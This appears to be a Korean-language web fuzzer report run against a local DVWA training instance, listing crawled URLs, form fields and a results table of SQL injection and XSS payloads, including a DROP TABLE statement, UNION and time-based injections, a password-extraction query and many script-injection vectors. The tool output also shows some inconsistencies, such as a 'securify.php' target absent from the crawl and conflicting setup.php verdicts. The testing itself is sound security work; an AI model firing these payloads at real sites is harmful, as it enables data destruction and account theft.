

# 웹 퍼저 리포트

2025-06-12 12:26:46

# 목차

1. 크롤링 URL
2. 입력 폼 정보
3. 퍼징 탐지 결과

# 1. 크롤링 URL

크롤링한 URL
<a href="http://localhost:8000/#module_reflection">http://localhost:8000/#module_reflection</a>
<a href="http://localhost:8000/#module_standard">http://localhost:8000/#module_standard</a>
<a href="http://localhost:8000/vulnerabilities/weak_id">http://localhost:8000/vulnerabilities/weak_id</a>
<a href="http://localhost:8000/instructions.php?doc=PDF">http://localhost:8000/instructions.php?doc=PDF</a>
<a href="http://localhost:8000/#module_posix">http://localhost:8000/#module_posix</a>
<a href="http://localhost:8000/instructions.php">http://localhost:8000/instructions.php</a>
<a href="http://localhost:8000/#module_sodium">http://localhost:8000/#module_sodium</a>
<a href="http://localhost:8000/README.id.md">http://localhost:8000/README.id.md</a>
<a href="http://localhost:8000/setup.php">http://localhost:8000/setup.php</a>
<a href="http://localhost:8000/vulnerabilities/captcha">http://localhost:8000/vulnerabilities/captcha</a>
<a href="http://localhost:8000/source/low.php?redirect=info.php?id=1">http://localhost:8000/source/low.php?redirect=info.php?id=1</a>
<a href="http://localhost:8000/vulnerabilities/open_redirect/source/info.php?id=1">http://localhost:8000/vulnerabilities/open_redirect/source/info.php?id=1</a>
<a href="http://localhost:8000/#module_xmlreader">http://localhost:8000/#module_xmlreader</a>
<a href="http://localhost:8000/#module_phar">http://localhost:8000/#module_phar</a>
<a href="http://localhost:8000/#i-want-to-run-dvwa-on-a-different-port">http://localhost:8000/#i-want-to-run-dvwa-on-a-different-port</a>
<a href="http://localhost:8000/vulnerabilities/open_redirect/source/info.php?id=2">http://localhost:8000/vulnerabilities/open_redirect/source/info.php?id=2</a>
<a href="http://localhost:8000/#module_mbstring">http://localhost:8000/#module_mbstring</a>
<a href="http://localhost:8000/#module_mysqlnd">http://localhost:8000/#module_mysqlnd</a>
<a href="http://localhost:8000/#module_apache2handler">http://localhost:8000/#module_apache2handler</a>
<a href="http://localhost:8000/vulnerabilities/csp">http://localhost:8000/vulnerabilities/csp</a>
<a href="http://localhost:8000/README.ar.md">http://localhost:8000/README.ar.md</a>
<a href="http://localhost:8000/#module_date">http://localhost:8000/#module_date</a>
<a href="http://localhost:8000/instructions.php?doc=readme">http://localhost:8000/instructions.php?doc=readme</a>
<a href="http://localhost:8000/login.php">http://localhost:8000/login.php</a>
<a href="http://localhost:8000/docs/DVWA_v1.3.pdf">http://localhost:8000/docs/DVWA_v1.3.pdf</a>
<a href="http://localhost:8000/README.ko.md">http://localhost:8000/README.ko.md</a>
<a href="http://localhost:8000/#module_pcre">http://localhost:8000/#module_pcre</a>
<a href="http://localhost:8000/#module_xmlwriter">http://localhost:8000/#module_xmlwriter</a>
<a href="http://localhost:8000/about.php">http://localhost:8000/about.php</a>
<a href="http://localhost:8000/#module_openssl">http://localhost:8000/#module_openssl</a>
<a href="http://localhost:8000/vulnerabilities/open_redirect">http://localhost:8000/vulnerabilities/open_redirect</a>
<a href="http://localhost:8000/vulnerabilities/fi/?page=file3.php">http://localhost:8000/vulnerabilities/fi/?page=file3.php</a>
<a href="http://localhost:8000/README.es.md">http://localhost:8000/README.es.md</a>
<a href="http://localhost:8000/README.pl.md">http://localhost:8000/README.pl.md</a>
<a href="http://localhost:8000/phpinfo.php">http://localhost:8000/phpinfo.php</a>
<a href="http://localhost:8000/vulnerabilities/sqli">http://localhost:8000/vulnerabilities/sqli</a>
<a href="http://localhost:8000/config/config.inc.php.dist">http://localhost:8000/config/config.inc.php.dist</a>
<a href="http://localhost:8000/#module_random">http://localhost:8000/#module_random</a>
<a href="http://localhost:8000/#module_zlib">http://localhost:8000/#module_zlib</a>

<a href="http://localhost:8000/#module_mysql">http://localhost:8000/#module_mysql</a>
<a href="http://localhost:8000/#module_ctype">http://localhost:8000/#module_ctype</a>
<a href="http://localhost:8000/instructions.php?doc=copying">http://localhost:8000/instructions.php?doc=copying</a>
<a href="http://localhost:8000/README.tr.md">http://localhost:8000/README.tr.md</a>
<a href="http://localhost:8000/#module_iconv">http://localhost:8000/#module_iconv</a>
<a href="http://localhost:8000/?doc=copying">http://localhost:8000/?doc=copying</a>
<a href="http://localhost:8000/#module_gd">http://localhost:8000/#module_gd</a>
<a href="http://localhost:8000/vulnerabilities/exec">http://localhost:8000/vulnerabilities/exec</a>
<a href="http://localhost:8000/#module_hash">http://localhost:8000/#module_hash</a>
<a href="http://localhost:8000/README.fr.md">http://localhost:8000/README.fr.md</a>
<a href="http://localhost:8000/#download">http://localhost:8000/#download</a>
<a href="http://localhost:8000/?page=file3.php">http://localhost:8000/?page=file3.php</a>
<a href="http://localhost:8000/#module_json">http://localhost:8000/#module_json</a>
<a href="http://localhost:8000/#php-configuration">http://localhost:8000/#php-configuration</a>
<a href="http://localhost:8000/#module_xml">http://localhost:8000/#module_xml</a>
<a href="http://localhost:8000/vulnerabilities/fi/?page=file1.php">http://localhost:8000/vulnerabilities/fi/?page=file1.php</a>
<a href="http://localhost:8000/?doc=PDF">http://localhost:8000/?doc=PDF</a>
<a href="http://localhost:8000/#module_pdo_mysql">http://localhost:8000/#module_pdo_mysql</a>
<a href="http://localhost:8000/vulnerabilities/xss_d">http://localhost:8000/vulnerabilities/xss_d</a>
<a href="http://localhost:8000/?doc=readme">http://localhost:8000/?doc=readme</a>
<a href="http://localhost:8000/?page=file2.php">http://localhost:8000/?page=file2.php</a>
<a href="http://localhost:8000/#module_filter">http://localhost:8000/#module_filter</a>
<a href="http://localhost:8000/security.php">http://localhost:8000/security.php</a>
<a href="http://localhost:8000/#module_simplexml">http://localhost:8000/#module_simplexml</a>
<a href="http://localhost:8000/logout.php">http://localhost:8000/logout.php</a>
<a href="http://localhost:8000/README.fa.md">http://localhost:8000/README.fa.md</a>
<a href="http://localhost:8000/README.pt.md">http://localhost:8000/README.pt.md</a>
<a href="http://localhost:8000/README.zh.md">http://localhost:8000/README.zh.md</a>
<a href="http://localhost:8000/#database-setup">http://localhost:8000/#database-setup</a>
<a href="http://localhost:8000">http://localhost:8000</a>
<a href="http://localhost:8000/vulnerabilities/xss_r">http://localhost:8000/vulnerabilities/xss_r</a>
<a href="http://localhost:8000/vulnerabilities/xss_s">http://localhost:8000/vulnerabilities/xss_s</a>
<a href="http://localhost:8000/vulnerabilities/fi/?page=include.php">http://localhost:8000/vulnerabilities/fi/?page=include.php</a>
<a href="http://localhost:8000/vulnerabilities/fi/?page=file2.php">http://localhost:8000/vulnerabilities/fi/?page=file2.php</a>
<a href="http://localhost:8000/README.vi.md">http://localhost:8000/README.vi.md</a>
<a href="http://localhost:8000/compose.yml">http://localhost:8000/compose.yml</a>
<a href="http://localhost:8000/vulnerabilities/brute">http://localhost:8000/vulnerabilities/brute</a>
<a href="http://localhost:8000/#module_session">http://localhost:8000/#module_session</a>
<a href="http://localhost:8000/source/low.php?redirect=info.php?id=2">http://localhost:8000/source/low.php?redirect=info.php?id=2</a>
<a href="http://localhost:8000/#module_libxml">http://localhost:8000/#module_libxml</a>
<a href="http://localhost:8000/vulnerabilities/cryptography">http://localhost:8000/vulnerabilities/cryptography</a>
<a href="http://localhost:8000/#module_dom">http://localhost:8000/#module_dom</a>

<a href="http://localhost:8000/#module_fileinfo">http://localhost:8000/#module_fileinfo</a>
<a href="http://localhost:8000/#module_core">http://localhost:8000/#module_core</a>
<a href="http://localhost:8000/instructions.php?doc=changelog">http://localhost:8000/instructions.php?doc=changelog</a>
<a href="http://localhost:8000/#module_spl">http://localhost:8000/#module_spl</a>
<a href="http://localhost:8000/vulnerabilities/api">http://localhost:8000/vulnerabilities/api</a>
<a href="http://localhost:8000/?doc=changelog">http://localhost:8000/?doc=changelog</a>
<a href="http://localhost:8000/#module_sqlite3">http://localhost:8000/#module_sqlite3</a>
<a href="http://localhost:8000/#module_tokenizer">http://localhost:8000/#module_tokenizer</a>
<a href="http://localhost:8000/?page=file1.php">http://localhost:8000/?page=file1.php</a>
<a href="http://localhost:8000/#module_curl">http://localhost:8000/#module_curl</a>
<a href="http://localhost:8000/vulnerabilities/csrf">http://localhost:8000/vulnerabilities/csrf</a>
<a href="http://localhost:8000/#module_pdo">http://localhost:8000/#module_pdo</a>
<a href="http://localhost:8000/vulnerabilities/javascript">http://localhost:8000/vulnerabilities/javascript</a>
<a href="http://localhost:8000/vulnerabilities/sqli_blind">http://localhost:8000/vulnerabilities/sqli_blind</a>
<a href="http://localhost:8000/vulnerabilities/upload">http://localhost:8000/vulnerabilities/upload</a>
<a href="http://localhost:8000/#module_pdo_sqlite">http://localhost:8000/#module_pdo_sqlite</a>

## 2. 입력 폼 정보

URL	폼 액션	메소드	입력 필드
http://localhost:8000/vulnerabilities/weak_id	http://localhost:8000/vulnerabilities/weak_id	POST	None (submit)
http://localhost:8000/vulnerabilities/xss_d	http://localhost:8000/vulnerabilities/xss_d	GET	None (submit)
http://localhost:8000/setup.php	http://localhost:8000/setup.php	POST	create_db (submit), user_token (hidden)
http://localhost:8000/vulnerabilities/captcha	http://localhost:8000/vulnerabilities/captcha	POST	step (hidden), password_new (password), password_conf (password), Change (submit)
http://localhost:8000/security.php	http://localhost:8000/security.php	POST	seclev_submit (submit), user_token (hidden)
http://localhost:8000/vulnerabilities/csp	http://localhost:8000/vulnerabilities/csp	POST	include (text), None (submit)
http://localhost:8000/login.php	http://localhost:8000/login.php	POST	username (text), password (password), Login (submit), user_token (hidden)
http://localhost:8000/vulnerabilities/xss_r	http://localhost:8000/vulnerabilities/xss_r	GET	name (text), None (submit)
http://localhost:8000/vulnerabilities/xss_s	http://localhost:8000/vulnerabilities/xss_s	POST	txtName (text), mtXMessage (textarea), btnSign (submit), btnClear (submit)
http://localhost:8000/vulnerabilities/brute	http://localhost:8000/vulnerabilities/brute	GET	username (text), password (password), Login (submit)
http://localhost:8000/vulnerabilities/cryptography	http://localhost:8000/vulnerabilities/cryptography/index.php	POST	message (textarea), direction (radio), direction (radio), None (submit)
http://localhost:8000/vulnerabilities/cryptography	http://localhost:8000/vulnerabilities/cryptography/index.php	POST	password (password), None (submit)
http://localhost:8000/vulnerabilities/sqli	http://localhost:8000/vulnerabilities/sqli	GET	id (text), Submit (submit)
http://localhost:8000/vulnerabilities/exec	http://localhost:8000/vulnerabilities/exec	POST	ip (text), Submit (submit)
http://localhost:8000/vulnerabilities/csrf	http://localhost:8000/vulnerabilities/csrf	GET	password_new (password), password_conf (password), Change (submit)
http://localhost:8000/vulnerabilities/javascript	http://localhost:8000/vulnerabilities/javascript	POST	token (hidden), phrase (text), send (submit)
http://localhost:8000/vulnerabilities/sqli_blind	http://localhost:8000/vulnerabilities/sqli_blind	GET	id (text), Submit (submit)
http://localhost:8000/vulnerabilities/upload	http://localhost:8000/vulnerabilities/upload	POST	MAX_FILE_SIZE (hidden), uploaded (file), Upload (submit)

### 3. 퍼징 탐지 결과

카테고리	폼 액션	페이로드	탐지 결과	HTTP 상태	응답 시간
sql_injection	http://localhost:8000/vulnerabilities/weak_id	'; DROP TABLE users; --	취약점 없음	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/weak_id	' OR 'a'='a	취약점 없음	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/weak_id	' OR 1=1 --	취약점 없음	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/weak_id	' OR '1'='1' /*	취약점 없음	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/weak_id	' OR '1'='1	취약점 없음	200	0.03s
sql_injection	http://localhost:8000/vulnerabilities/weak_id	' OR '1'='1' #	취약점 없음	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/weak_id	1' OR sleep(5)--	취약점 없음	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/weak_id	' OR '1'='1' ({	취약점 없음	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/weak_id	admin' --	취약점 없음	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/weak_id	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/weak_id	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/weak_id	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/weak_id	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.04s
sql_injection	http://localhost:8000/vulnerabilities/weak_id	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.04s
xss	http://localhost:8000/vulnerabilities/weak_id	<script>alert('XSS')</script>	XSS	200	0.04s
xss	http://localhost:8000/vulnerabilities/weak_id	<svg/onload=alert('XSS')>	XSS	200	0.04s
xss	http://localhost:8000/vulnerabilities/weak_id	"><script>alert('XSS')</script>	XSS	200	0.04s
xss	http://localhost:8000/vulnerabilities/weak_id	<img src=x onerror=alert('XSS')>	XSS	200	0.04s
xss	http://localhost:8000/vulnerabilities/weak_id	<iframe src='javascript:alert("XSS")'></iframe>	XSS	200	0.04s
xss	http://localhost:8000/vulnerabilities/weak_id	<body onload=alert('XSS')>	XSS	200	0.05s
xss	http://localhost:8000/vulnerabilities/weak_id	<details open ontoggle=alert('XSS')>	XSS	200	0.05s
xss	http://localhost:8000/vulnerabilities/weak_id	<input autofocus onfocus=alert('XSS')>	XSS	200	0.05s

xss	http://localhost:8000/vulnerabilities/weak_id	<video><source onerror=alert('XSS')>	XSS	200	0.05s
xss	http://localhost:8000/vulnerabilities/weak_id	<a href='javascript:alert(XSS)'>Click</a>	XSS	200	0.05s
xss	http://localhost:8000/vulnerabilities/weak_id	<p/onclick=alert(/XSS/)>a	XSS	200	0.05s
xss	http://localhost:8000/vulnerabilities/weak_id	<script>\$=1,alert(\$)</script>	XSS	200	0.05s
xss	http://localhost:8000/vulnerabilities/weak_id	<script>alert(1)	XSS	200	0.05s
xss	http://localhost:8000/vulnerabilities/weak_id	<script>alert(1)<!--XSS	XSS	200	0.05s
xss	http://localhost:8000/vulnerabilities/weak_id	"><svg/onload=confirm(1)>	XSS	200	0.05s
xss	http://localhost:8000/vulnerabilities/weak_id	<math><mtext></mtext><script>alert('XSS')</script></math>	XSS	200	0.05s
xss	http://localhost:8000/vulnerabilities/weak_id	<button form=test onformchange=alert(1)>	XSS	200	0.05s
xss	http://localhost:8000/vulnerabilities/weak_id	<form><button formaction="javascript:alert(1)">	XSS	200	0.05s
xss	http://localhost:8000/vulnerabilities/weak_id	<details ontoggle=alert('XSS') open>	XSS	200	0.05s
xss	http://localhost:8000/vulnerabilities/weak_id	'"><svg/onload=confirm(1)>	XSS	200	0.05s
sql_injection	http://localhost:8000/vulnerabilities/xss_d	' OR '1'='1	취약점 없음	200	0.05s
sql_injection	http://localhost:8000/vulnerabilities/xss_d	' OR 1=1 --	취약점 없음	200	0.05s
sql_injection	http://localhost:8000/vulnerabilities/xss_d	' OR 'a'='a	취약점 없음	200	0.06s
sql_injection	http://localhost:8000/vulnerabilities/xss_d	' OR '1'='1' ({	취약점 없음	200	0.06s
sql_injection	http://localhost:8000/vulnerabilities/xss_d	'; DROP TABLE users; --	취약점 없음	200	0.06s
sql_injection	http://localhost:8000/vulnerabilities/xss_d	' OR '1'='1' /*	취약점 없음	200	0.06s
sql_injection	http://localhost:8000/vulnerabilities/xss_d	admin' --	취약점 없음	200	0.06s
sql_injection	http://localhost:8000/vulnerabilities/xss_d	' OR '1'='1' #	취약점 없음	200	0.06s
sql_injection	http://localhost:8000/vulnerabilities/xss_d	1' OR sleep(5)--	취약점 없음	200	0.06s
sql_injection	http://localhost:8000/vulnerabilities/xss_d	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.06s
sql_injection	http://localhost:8000/vulnerabilities/xss_d	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.06s
sql_injection	http://localhost:8000/vulnerabilities/xss_d	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.06s



sql_injection	http://localhost:8000/vulnerabilities/xss_d	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.06s
sql_injection	http://localhost:8000/vulnerabilities/xss_d	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.06s
xss	http://localhost:8000/vulnerabilities/xss_d	<script>alert('XSS')</script>	XSS	200	0.06s
xss	http://localhost:8000/vulnerabilities/xss_d	"><script>alert('XSS')</script>	XSS	200	0.06s
xss	http://localhost:8000/vulnerabilities/xss_d	<img src=x onerror=alert('XSS')>	XSS	200	0.06s
xss	http://localhost:8000/vulnerabilities/xss_d	<svg/onload=alert('XSS')>	XSS	200	0.06s
xss	http://localhost:8000/vulnerabilities/xss_d	<iframe src='javascript:alert("XSS")'></iframe>	XSS	200	0.06s
xss	http://localhost:8000/vulnerabilities/xss_d	<body onload=alert('XSS')>	XSS	200	0.06s
xss	http://localhost:8000/vulnerabilities/xss_d	<details open ontoggle=alert('XSS')>	XSS	200	0.06s
xss	http://localhost:8000/vulnerabilities/xss_d	<input autofocus onfocus=alert('XSS')>	XSS	200	0.07s
xss	http://localhost:8000/vulnerabilities/xss_d	<video><source onerror=alert('XSS')>	XSS	200	0.07s
xss	http://localhost:8000/vulnerabilities/xss_d	<a href='javascript:alert(XSS)'\>Click</a>	XSS	200	0.07s
xss	http://localhost:8000/vulnerabilities/xss_d	<p/onclick=alert(/XSS/)>a	XSS	200	0.07s
xss	http://localhost:8000/vulnerabilities/xss_d	<script>\$=1,alert(\$)</script>	XSS	200	0.07s
xss	http://localhost:8000/vulnerabilities/xss_d	<script>alert(1)	XSS	200	0.07s
xss	http://localhost:8000/vulnerabilities/xss_d	<script>alert(1)<!--XSS	XSS	200	0.07s
xss	http://localhost:8000/vulnerabilities/xss_d	"><svg/onload=confirm(1)>	XSS	200	0.07s
xss	http://localhost:8000/vulnerabilities/xss_d	<math><mtxt></mtxt><script>alert('XSS')</script></math>	XSS	200	0.07s
xss	http://localhost:8000/vulnerabilities/xss_d	<button form=test onformchange=alert(1)>	XSS	200	0.07s
xss	http://localhost:8000/vulnerabilities/xss_d	<form><button formaction="javascript:alert(1)">	XSS	200	0.07s
xss	http://localhost:8000/vulnerabilities/xss_d	<details ontoggle=alert('XSS') open>	XSS	200	0.07s
xss	http://localhost:8000/vulnerabilities/xss_d	"><svg/onload=confirm(1)>	XSS	200	0.07s

sql_injection	http://localhost:8000/setup.php	' OR '1'='1	취약점 없음	200	0.09s
sql_injection	http://localhost:8000/setup.php	' OR '1'='1' /*	취약점 없음	200	0.09s
sql_injection	http://localhost:8000/setup.php	' OR 'a'='a	취약점 없음	200	0.09s
sql_injection	http://localhost:8000/setup.php	'; DROP TABLE users; --	취약점 없음	200	0.09s
sql_injection	http://localhost:8000/setup.php	1' OR sleep(5)--	취약점 없음	200	0.10s
sql_injection	http://localhost:8000/setup.php	' OR '1'='1' ({	취약점 없음	200	0.10s
sql_injection	http://localhost:8000/setup.php	' OR '1'='1' #	취약점 없음	200	0.10s
sql_injection	http://localhost:8000/setup.php	' OR 1=1 --	취약점 없음	200	0.10s
sql_injection	http://localhost:8000/setup.php	admin' --	취약점 없음	200	0.11s
sql_injection	http://localhost:8000/setup.php	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.11s
sql_injection	http://localhost:8000/setup.php	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.11s
sql_injection	http://localhost:8000/setup.php	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.11s
sql_injection	http://localhost:8000/setup.php	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.11s
xss	http://localhost:8000/setup.php	""<script>alert('XSS')</script>	취약점 없음	200	0.11s
xss	http://localhost:8000/setup.php	<script>alert('XSS')</script>	취약점 없음	200	0.11s
xss	http://localhost:8000/setup.php	<img src=x onerror=alert('XSS')>	취약점 없음	200	0.11s
xss	http://localhost:8000/setup.php	<svg/onload=alert('XSS')>	취약점 없음	200	0.12s
xss	http://localhost:8000/setup.php	<iframe src='javascript:alert("XSS")'></iframe>	취약점 없음	200	0.12s
xss	http://localhost:8000/setup.php	<body onload=alert('XSS')>	취약점 없음	200	0.12s
xss	http://localhost:8000/setup.php	<details open ontoggle=alert('XSS')>	취약점 없음	200	0.12s
xss	http://localhost:8000/setup.php	<input autofocus onfocus=alert('XSS')>	취약점 없음	200	0.12s
xss	http://localhost:8000/setup.php	<video><source onerror=alert('XSS')>	취약점 없음	200	0.12s
xss	http://localhost:8000/setup.php	<script>\$=1,alert(\$)</script>	취약점 없음	200	0.13s
xss	http://localhost:8000/setup.php	<a href='javascript:alert(XSS)'>Click</a>	취약점 없음	200	0.13s

xss	http://localhost:8000/setup.php	<p/onclick=alert(/XSS/)>a	취약점 없음	200	0.13s
xss	http://localhost:8000/setup.php	"><svg/onload=confirm(1)>	취약점 없음	200	0.14s
xss	http://localhost:8000/setup.php	<script>alert(1)	취약점 없음	200	0.14s
xss	http://localhost:8000/setup.php	<math><mtext></mtext><script>alert('XSS')</script></math>	취약점 없음	200	0.14s
xss	http://localhost:8000/setup.php	<script>alert(1)<!--XSS	취약점 없음	200	0.14s
xss	http://localhost:8000/setup.php	<details ontoggle=alert('XSS') open>	취약점 없음	200	0.14s
xss	http://localhost:8000/setup.php	<form><button formaction="javascript:alert(1)">	취약점 없음	200	0.14s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR '1'='1	취약점 없음	200	0.14s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR 1=1 --	취약점 없음	200	0.15s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR 'a'='a	취약점 없음	200	0.15s
xss	http://localhost:8000/setup.php	<button form=test onformchange=alert(1)>	취약점 없음	200	0.15s
sql_injection	http://localhost:8000/vulnerabilities/captcha	'; DROP TABLE users; --	취약점 없음	200	0.15s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR '1'='1' /*	취약점 없음	200	0.15s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR '1'='1' ({	취약점 없음	200	0.15s
sql_injection	http://localhost:8000/vulnerabilities/captcha	admin' --	취약점 없음	200	0.15s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR '1'='1' #	취약점 없음	200	0.15s
sql_injection	http://localhost:8000/vulnerabilities/captcha	1' OR sleep(5)--	취약점 없음	200	0.15s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.15s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.15s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.15s
sql_injection	http://localhost:8000/setup.php	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.17s
xss	http://localhost:8000/setup.php	"><svg/onload=confirm(1)>	XSS	200	0.19s

sql_injection	http://localhost:8000/vulnerabilities/captcha	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.19s
sql_injection	http://localhost:8000/vulnerabilities/captcha	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.19s
xss	http://localhost:8000/vulnerabilities/captcha	<script>alert('XSS')</script>	XSS	200	0.19s
xss	http://localhost:8000/vulnerabilities/captcha	"><script>alert('XSS')</script>	XSS	200	0.19s
xss	http://localhost:8000/vulnerabilities/captcha	<img src=x onerror=alert('XSS')>	XSS	200	0.19s
xss	http://localhost:8000/vulnerabilities/captcha	<svg/onload=alert('XSS')>	XSS	200	0.19s
xss	http://localhost:8000/vulnerabilities/captcha	<iframe src='javascript:alert("XSS")'></iframe>	XSS	200	0.19s
xss	http://localhost:8000/vulnerabilities/captcha	<body onload=alert('XSS')>	XSS	200	0.19s
xss	http://localhost:8000/vulnerabilities/captcha	<details open ontoggle=alert('XSS')>	XSS	200	0.19s
xss	http://localhost:8000/vulnerabilities/captcha	<input autofocus onfocus=alert('XSS')>	XSS	200	0.19s
xss	http://localhost:8000/vulnerabilities/captcha	<video><source onerror=alert('XSS')>	XSS	200	0.19s
xss	http://localhost:8000/vulnerabilities/captcha	<a href='javascript:alert(XSS)'">Click</a>	XSS	200	0.21s
xss	http://localhost:8000/vulnerabilities/captcha	<p/onclick=alert(/XSS/)>a	XSS	200	0.21s
xss	http://localhost:8000/vulnerabilities/captcha	<script>\$=1,alert(\$)</script>	XSS	200	0.21s
xss	http://localhost:8000/vulnerabilities/captcha	<script>alert(1)	XSS	200	0.21s
xss	http://localhost:8000/vulnerabilities/captcha	<script>alert(1)<!--XSS	XSS	200	0.21s
xss	http://localhost:8000/vulnerabilities/captcha	"><svg/onload=confirm(1)>	XSS	200	0.21s
xss	http://localhost:8000/vulnerabilities/captcha	<math><mtxt></mtxt><script>alert('XSS')</script></math>	XSS	200	0.21s
xss	http://localhost:8000/vulnerabilities/captcha	<button form=test onformchange=alert(1)>	XSS	200	0.22s
xss	http://localhost:8000/vulnerabilities/captcha	<form><button formaction="javascript:alert(1)">	XSS	200	0.21s
xss	http://localhost:8000/vulnerabilities/captcha	<details ontoggle=alert('XSS') open>	XSS	200	0.22s
xss	http://localhost:8000/vulnerabilities/captcha	"><svg/onload=confirm(1)>	XSS	200	0.22s

sql_injection	http://localhost:8000/securify.php	' OR 'a'='a	취약점 없음	200	0.22s
sql_injection	http://localhost:8000/securify.php	'; DROP TABLE users; --	취약점 없음	200	0.22s
sql_injection	http://localhost:8000/securify.php	' OR 1=1 --	취약점 없음	200	0.22s
sql_injection	http://localhost:8000/securify.php	' OR '1'='1	취약점 없음	200	0.22s
sql_injection	http://localhost:8000/securify.php	' OR '1'='1' /*	취약점 없음	200	0.22s
sql_injection	http://localhost:8000/securify.php	' OR '1'='1' ({	취약점 없음	200	0.22s
sql_injection	http://localhost:8000/securify.php	' UNION SELECT NULL, NULL, NULL --	취약점 없음	200	0.22s
sql_injection	http://localhost:8000/securify.php	' OR '1'='1' #	취약점 없음	200	0.22s
sql_injection	http://localhost:8000/securify.php	1' OR sleep(5)--	취약점 없음	200	0.22s
sql_injection	http://localhost:8000/securify.php	admin' --	취약점 없음	200	0.22s
sql_injection	http://localhost:8000/securify.php	' AND 1=2 UNION SELECT 1,2,3 --	취약점 없음	200	0.22s
sql_injection	http://localhost:8000/securify.php	' OR (SELECT COUNT(*) FROM information_schema.tables) > 0 --	취약점 없음	200	0.22s
sql_injection	http://localhost:8000/securify.php	' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a' --	취약점 없음	200	0.22s
sql_injection	http://localhost:8000/securify.php	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.22s
xss	http://localhost:8000/securify.php	<img src=x onerror=alert('XSS')>	취약점 없음	200	0.22s
xss	http://localhost:8000/securify.php	<script>alert('XSS')</script>	취약점 없음	200	0.22s
xss	http://localhost:8000/securify.php	""><script>alert('XSS')</script>	취약점 없음	200	0.22s
xss	http://localhost:8000/securify.php	<svg/onload=alert('XSS')>	취약점 없음	200	0.22s
xss	http://localhost:8000/securify.php	<iframe src='javascript:alert("XSS")'></iframe>	취약점 없음	200	0.22s
xss	http://localhost:8000/securify.php	<input autofocus onfocus=alert('XSS')>	취약점 없음	200	0.22s
xss	http://localhost:8000/securify.php	<body onload=alert('XSS')>	취약점 없음	200	0.22s
xss	http://localhost:8000/securify.php	<a href='javascript:alert(XSS)'">Click</a>	취약점 없음	200	0.23s
xss	http://localhost:8000/securify.php	<details open ontoggle=alert('XSS')>	취약점 없음	200	0.23s

xss	http://localhost:8000/securify.php	<video><source onerror=alert('XSS')>	취약점 없음	200	0.23s
xss	http://localhost:8000/securify.php	<p/onclick=alert(/XSS/)>a	취약점 없음	200	0.23s
xss	http://localhost:8000/securify.php	<script>\$=1,alert(\$)</script>	취약점 없음	200	0.23s
xss	http://localhost:8000/securify.php	<script>alert(1)<!--XSS	취약점 없음	200	0.23s
xss	http://localhost:8000/securify.php	<script>alert(1)	취약점 없음	200	0.23s
xss	http://localhost:8000/securify.php	"><svg/onload=confirm(1)>	취약점 없음	200	0.23s
xss	http://localhost:8000/securify.php	<math><mtext></mtext><script>alert('XSS')</script></math>	취약점 없음	200	0.23s
xss	http://localhost:8000/securify.php	<button form=test onformchange=alert(1)>	취약점 없음	200	0.23s
xss	http://localhost:8000/securify.php	<details ontoggle=alert('XSS') open>	취약점 없음	200	0.23s
xss	http://localhost:8000/securify.php	<form><button formaction="javascript:alert(1)">	취약점 없음	200	0.23s
xss	http://localhost:8000/securify.php	'"><svg/onload=confirm(1)>	취약점 없음	200	0.23s
sql_injection	http://localhost:8000/vulnerabilities/csp	' OR '1'='1	취약점 없음	200	0.23s
sql_injection	http://localhost:8000/vulnerabilities/csp	' OR 'a'='a	취약점 없음	200	0.23s
sql_injection	http://localhost:8000/vulnerabilities/csp	' OR 1=1 --	취약점 없음	200	0.23s
sql_injection	http://localhost:8000/vulnerabilities/csp	'; DROP TABLE users; --	취약점 없음	200	0.23s
sql_injection	http://localhost:8000/vulnerabilities/csp	' OR '1'='1' /*	취약점 없음	200	0.23s
sql_injection	http://localhost:8000/vulnerabilities/csp	' OR '1'='1' ({	취약점 없음	200	0.23s
sql_injection	http://localhost:8000/vulnerabilities/csp	1' OR sleep(5)--	취약점 없음	200	0.23s
sql_injection	http://localhost:8000/vulnerabilities/csp	admin' --	취약점 없음	200	0.23s
sql_injection	http://localhost:8000/vulnerabilities/csp	' OR EXISTS(SELECT * FROM users) --	취약점 없음	200	0.23s
